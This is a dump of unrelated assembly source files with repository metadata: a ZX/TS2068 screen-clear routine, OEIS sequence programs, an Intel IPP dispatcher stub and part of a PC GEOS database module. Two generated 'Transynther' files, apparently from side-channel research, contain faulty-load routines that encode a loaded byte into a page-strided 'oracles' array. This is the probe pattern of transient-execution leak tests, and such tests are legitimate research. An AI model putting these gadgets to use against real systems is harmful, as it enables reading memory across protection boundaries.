] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/ts2068/misc/z80/asm_tshr_cls_wc_pix.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; ===============================================================
; 2017
; ===============================================================
;
; void tshr_cls_wc_pix(struct r_Rect8 *r, uchar pix)
;
; Clear the rectangular area on screen.
;
; ===============================================================
SECTION code_clib
SECTION code_arch
PUBLIC asm_tshr_cls_wc_pix
EXTERN asm_tshr_cxy2saddr, asm0_tshr_saddrpdown
asm_tshr_cls_wc_pix:
; enter : l = pix
; ix = rect *
;
; uses : af, bc, de, hl
; ldir method is more complex but appears to be faster at widths > 17
; investigate later
ld c,l ; c = pix
ld l,(ix+0) ; l = rect.x
ld h,(ix+2) ; h = rect.y
call asm_tshr_cxy2saddr ; hl = screen address
; ix = rect *
; hl = screen address
ld e,c ; e = pix
ld c,(ix+3) ; c = rect.height
pixel_loop_0:
ld b,8
pixel_loop_1:
push bc
push hl
ld b,(ix+1) ; b = rect.width
bit 5,h
jr nz, pixel_loop_odd
pixel_loop_even:
ld (hl),e ; clear pixels
dec b
jr z, pixel_loop_end
set 5,h
pixel_loop_odd:
ld (hl),e ; clear pixels
res 5,h
inc l
djnz pixel_loop_even
pixel_loop_end:
pop hl
inc h
pop bc
djnz pixel_loop_1
call asm0_tshr_saddrpdown
dec c
jr nz, pixel_loop_0
ret
| 16.931034 | 72 | 0.46979 |
7170b1054916c840484be87f50dedee988217b96 | 685 | asm | Assembly | oeis/144/A144535.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/144/A144535.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/144/A144535.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A144535: Numerators of continued fraction convergents to sqrt(3)/2.
; Submitted by Jon Maiga
; 0,1,6,13,84,181,1170,2521,16296,35113,226974,489061,3161340,6811741,44031786,94875313,613283664,1321442641,8541939510,18405321661,118973869476,256353060613,1657092233154,3570537526921,23080317394680,49731172316281,321467351292366,692665874901013,4477462600698444,9647591076297901,62363009058485850,134373609193269601,868604664218103456,1871582937629476513,12098102289994962534,26067787517619401581,168504827395711372020,363077442309042145621,2346969481249964245746,5057016404808970637113
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,3
mul $2,6
lpe
mov $0,$1
| 45.666667 | 489 | 0.830657 |
e2dc7d15df4850ea4d3071e54342c91060cda32b | 4,663 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_590.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_590.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_590.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rax
push %rbx
push %rcx
push %rdx
lea addresses_UC_ht+0x1b976, %rax
xor %rbx, %rbx
mov $0x6162636465666768, %r10
movq %r10, %xmm7
and $0xffffffffffffffc0, %rax
movntdq %xmm7, (%rax)
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x14113, %r11
nop
add %rbx, %rbx
vmovups (%r11), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdx
nop
nop
sub %r11, %r11
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %rbx
push %rdi
// Store
lea addresses_UC+0x8993, %r15
nop
and %rdi, %rdi
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
movups %xmm2, (%r15)
nop
nop
nop
nop
add %rdi, %rdi
// Faulty Load
mov $0x41b4b00000000e13, %r13
nop
xor $4337, %rdi
movb (%r13), %r15b
lea oracles, %r13
and $0xff, %r15
shlq $12, %r15
mov (%r13,%r15,1), %r15
pop %rdi
pop %rbx
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 16, 'NT': True, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 52.988636 | 2,999 | 0.661591 |
ec9872d1070d867d34b73e287e3f9f14ab5e1b51 | 398 | asm | Assembly | oeis/100/A100311.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/100/A100311.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/100/A100311.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A100311: Modulo 2 binomial transform of 8^n.
; Submitted by Jamie Morken(s2)
; 1,9,65,585,4097,36873,266305,2396745,16777217,150994953,1090519105,9814671945,68736258049,618626322441,4467856773185,40210710958665,281474976710657,2533274790395913,18295873486192705,164662861375734345
mov $1,1
lpb $0
sub $0,1
mul $1,7
seq $1,48724 ; Write n and 2n in binary and add them mod 2.
lpe
mov $0,$1
| 33.166667 | 203 | 0.778894 |
3ab6eac01dc0fc99fa1967a95cc370f3f725451b | 15 | asm | Assembly | src/main/fragment/mos6502-common/pbuc1_derefidx_vbuaa=vbuaa.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/pbuc1_derefidx_vbuaa=vbuaa.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/pbuc1_derefidx_vbuaa=vbuaa.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | tax
sta {c1},x
| 5 | 10 | 0.6 |
a29e562ac22e18e2702284af3bff4043dd9bff9d | 1,109 | asm | Assembly | _build/dispatcher/jmp_ippsHashMethod_MD5_7da5ff38.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | 1 | 2021-10-04T10:21:54.000Z | 2021-10-04T10:21:54.000Z | _build/dispatcher/jmp_ippsHashMethod_MD5_7da5ff38.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | _build/dispatcher/jmp_ippsHashMethod_MD5_7da5ff38.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | extern m7_ippsHashMethod_MD5:function
extern n8_ippsHashMethod_MD5:function
extern y8_ippsHashMethod_MD5:function
extern e9_ippsHashMethod_MD5:function
extern l9_ippsHashMethod_MD5:function
extern n0_ippsHashMethod_MD5:function
extern k0_ippsHashMethod_MD5:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsHashMethod_MD5
.Larraddr_ippsHashMethod_MD5:
dq m7_ippsHashMethod_MD5
dq n8_ippsHashMethod_MD5
dq y8_ippsHashMethod_MD5
dq e9_ippsHashMethod_MD5
dq l9_ippsHashMethod_MD5
dq n0_ippsHashMethod_MD5
dq k0_ippsHashMethod_MD5
segment .text
global ippsHashMethod_MD5:function (ippsHashMethod_MD5.LEndippsHashMethod_MD5 - ippsHashMethod_MD5)
.Lin_ippsHashMethod_MD5:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsHashMethod_MD5:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsHashMethod_MD5]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsHashMethod_MD5:
| 28.435897 | 99 | 0.801623 |
0c40e15244fa420aa1517f504c46e32a2ad97e95 | 4,780 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_714.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_714.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_714.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r8
push %rbx
push %rdi
push %rsi
lea addresses_normal_ht+0x297b, %r15
nop
nop
nop
nop
nop
xor $14992, %rbx
mov (%r15), %r8d
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x7ee1, %rdi
nop
nop
xor $47635, %rsi
mov (%rdi), %r13w
inc %r13
lea addresses_WT_ht+0x2061, %r13
nop
nop
nop
nop
xor %r12, %r12
mov (%r13), %si
nop
and $55205, %rdi
pop %rsi
pop %rdi
pop %rbx
pop %r8
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r8
push %rbp
push %rdi
push %rsi
// Store
lea addresses_A+0x1bf61, %r12
nop
nop
nop
sub %rbp, %rbp
mov $0x5152535455565758, %r13
movq %r13, (%r12)
xor $62409, %rbp
// Faulty Load
lea addresses_WC+0x1d061, %r8
nop
nop
nop
nop
and $10568, %rsi
mov (%r8), %di
lea oracles, %rbp
and $0xff, %rdi
shlq $12, %rdi
mov (%rbp,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rbp
pop %r8
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 47.8 | 2,999 | 0.658368 |
c4c69df57a99de5ef23fc10bfaf07857d8afb3eb | 628 | asm | Assembly | oeis/192/A192858.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/192/A192858.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/192/A192858.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A192858: Hosoya indices of the 2n-wheel graphs W_{2n}.
; 2,10,36,120,382,1178,3550,10514,30720,88788,254342,723190,2043386,5742490,16062492,44744688,124192270,343594514,947857750,2608015778,7159034232,19609583820,53608363286,146290947310,398552156402,1084153113898,2944982283540,7989231439464,21646950044830,58585895022218,158389325993422,427783579545650,1154287311434736,3111854554544580,8382279052765862,22561214505667558,60679057469413610,163082805016189114,438012205914824460,1175675510621680608,3153736571294735662,8454979241402684930
mov $1,$0
mul $0,2
add $0,2
lpb $1
sub $1,1
add $2,$0
add $0,$2
add $0,2
lpe
| 48.307692 | 484 | 0.835987 |
1e50b84da62418e13d608dc8621c42f90e3b3ff4 | 173 | asm | Assembly | libraries/mmlibc/amd64/src/tls.asm | betopp/pathetix | a18a1211f6f3ca3c9ebd0e3de6784ae0591d1265 | [
"MIT"
] | null | null | null | libraries/mmlibc/amd64/src/tls.asm | betopp/pathetix | a18a1211f6f3ca3c9ebd0e3de6784ae0591d1265 | [
"MIT"
] | null | null | null | libraries/mmlibc/amd64/src/tls.asm | betopp/pathetix | a18a1211f6f3ca3c9ebd0e3de6784ae0591d1265 | [
"MIT"
] | null | null | null | ;tls.asm
;TLS getter for MuKe's libc on AMD64
;Bryan E. Topp <betopp@betopp.com> 2021
section .text
bits 64
align 16
global _tls ;_tls_t *_tls()
_tls:
rdgsbase RAX
ret
| 13.307692 | 39 | 0.722543 |
e27f086261a8fcc54f3b39f0914dc3de5f7a4926 | 125 | asm | Assembly | SCS3211/Excercises/ex09.asm | UdeshUK/UCSC-CS | b7e8776218e709d4e0cabdfd04a5994a91bb4cf2 | [
"Beerware"
] | 6 | 2018-06-13T16:11:41.000Z | 2019-04-27T10:30:35.000Z | SCS3211/Excercises/ex09.asm | Useful-Ad-1249/UCSC-CS | b7e8776218e709d4e0cabdfd04a5994a91bb4cf2 | [
"Beerware"
] | null | null | null | SCS3211/Excercises/ex09.asm | Useful-Ad-1249/UCSC-CS | b7e8776218e709d4e0cabdfd04a5994a91bb4cf2 | [
"Beerware"
] | null | null | null | .text
jal f1
jal f1
li $v0 10
syscall
f1:
la $a0 hello
li $v0 4
syscall
jr $ra
.data
hello: .asciiz "Hello World" | 9.615385 | 28 | 0.632 |
19d8c1d5b5af5f3b506fc34cdee2eadf611ffbd3 | 11,202 | asm | Assembly | Library/Kernel/DBase/dbaseStructure.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Kernel/DBase/dbaseStructure.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Kernel/DBase/dbaseStructure.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Database Library -- Basic Structure Manipulations
FILE: dbStructure.asm
AUTHOR: John Wedgwood, Jul 24, 1989
METHODS:
Name Description
---- -----------
DBItemAlloc Allocate a new item structure.
DBItemFree Free a item structure.
DBBlockAlloc Allocate a new item-block structure.
DBBlockFree Free an item-block structure.
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 7/24/89 Initial revision
DESCRIPTION:
This file contains routines to allocate and free the structures that
are used in group blocks to store information about items and
item-blocks.
$Id: dbaseStructure.asm,v 1.1 97/04/05 01:17:28 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DBaseCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DBItemAlloc
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a DBItemInfo structure.
CALLED BY: Internal.
PASS: bx = Database file handle.
ds = segment address of a locked group block.
RETURN: ds = segment address of same block (may have moved).
di = offset to allocated structure.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
If the free-list is empty then
Add new structures to the free-list.
Endif
Remove the first item from the free-list.
Dirty the group block.
If this group block is the current ungrouped group then
If the block size of this group is beyond the threshold then
Create a new current "ungrouped" group.
Endif
Endif
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/24/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DBItemAlloc proc near
cmp ds:DBGH_itemFreeList, 0 ; check for a free list.
jne DBIA_hasList ;
;
; Create more structures.
; New size = (# of strucs)*(size of struct) + (size of header).
;
push ax, bx, cx, dx, es ;
mov ax, ds:DBGH_blockSize ; ax <- old block size.
push ax ; save old size.
add ax, DB_ITEM_STRUC_INC * size DBFreeItemStruct
mov bx, ds:DBGH_handle ; bx <- handle of group block.
mov ch, mask HAF_NO_ERR
call MemReAlloc ; Make bigger.
mov ds, ax ;
add ds:DBGH_blockSize, DB_ITEM_STRUC_INC * size DBFreeItemStruct
pop bx ; bx <- old size of block.
;
; Need to link all the new structures into the list.
; bx = old size of block, which is the same as the pointer to the first
; new structure.
;
mov cx, DB_ITEM_STRUC_INC ; cx <- # of new structures.
mov di, bx ; di <- ptr to start.
mov dx, bx ; save ptr to start.
DBIA_addNewFree: ;
mov bx, di ; bx <- offset to current one.
add di, size DBFreeItemStruct ; di <- offset to next one.
mov ds:[bx].DBFIS_next, di ; link to next.
loop DBIA_addNewFree ;
;
mov ds:[bx].DBFIS_next, 0 ; no next one if on last.
mov ds:DBGH_itemFreeList, dx ; set start of list.
pop ax, bx, cx, dx, es ;
DBIA_hasList: ;
mov di, ds:DBGH_itemFreeList ; di <- 1st free list element.
;
push ax ;
mov ax, ds:[di].DBFIS_next ; Link around the item.
mov ds:DBGH_itemFreeList, ax ;
pop ax ;
;
test ds:[DBGH_flags], mask GF_NEW_UNGROUP
jz dirtyGroup ; => DBGH_numItems might not
; be there
inc ds:[DBGH_numItems]
dirtyGroup:
call DBGroupDirty
;
; Need to check for this being the current ungrouped group and handle
; the case of the ungrouped group growing beyond the threshold.
;
cmp ds:DBGH_blockSize, DB_GROUP_BLOCK_DESIRED_SIZE
jb DBIA_done ;
;
; Block is larger than the threshold, but it may not be the current
; ungrouped group.
;
test ds:DBGH_flags, mask GF_NEW_UNGROUP
jz DBIA_done
;
; Well, the block looks like it's too full, but in reality it
; might not be. If there are items in the free-list, then we
; can just reuse those items, and the block won't grow at
; all. We check the free-list, and if it's not empty, we
; skip the remaining code because we *can* continue to use
; this group block.
;
tst ds:DBGH_itemFreeList
jnz DBIA_done
;
; Block is the ungroup, and is too large, so mark it as full and set
; the file as no longer having an ungrouped group.
;
test ds:[DBGH_flags], mask GF_UNGROUP_FULL
jnz DBIA_done ; we were blocked waiting for
; someone else to release the
; ungroup when they decided
; the ungroup was full, so
; they've already done this
; work...
ornf ds:[DBGH_flags], mask GF_UNGROUP_FULL
push ds
call DBLockDBMap
mov ds:[DBMB_newUngrouped], 0
call DBDirtyDBMap
call DBUnlockDBMap
pop ds
DBIA_done: ;
ret ;
DBItemAlloc endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DBItemFree
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
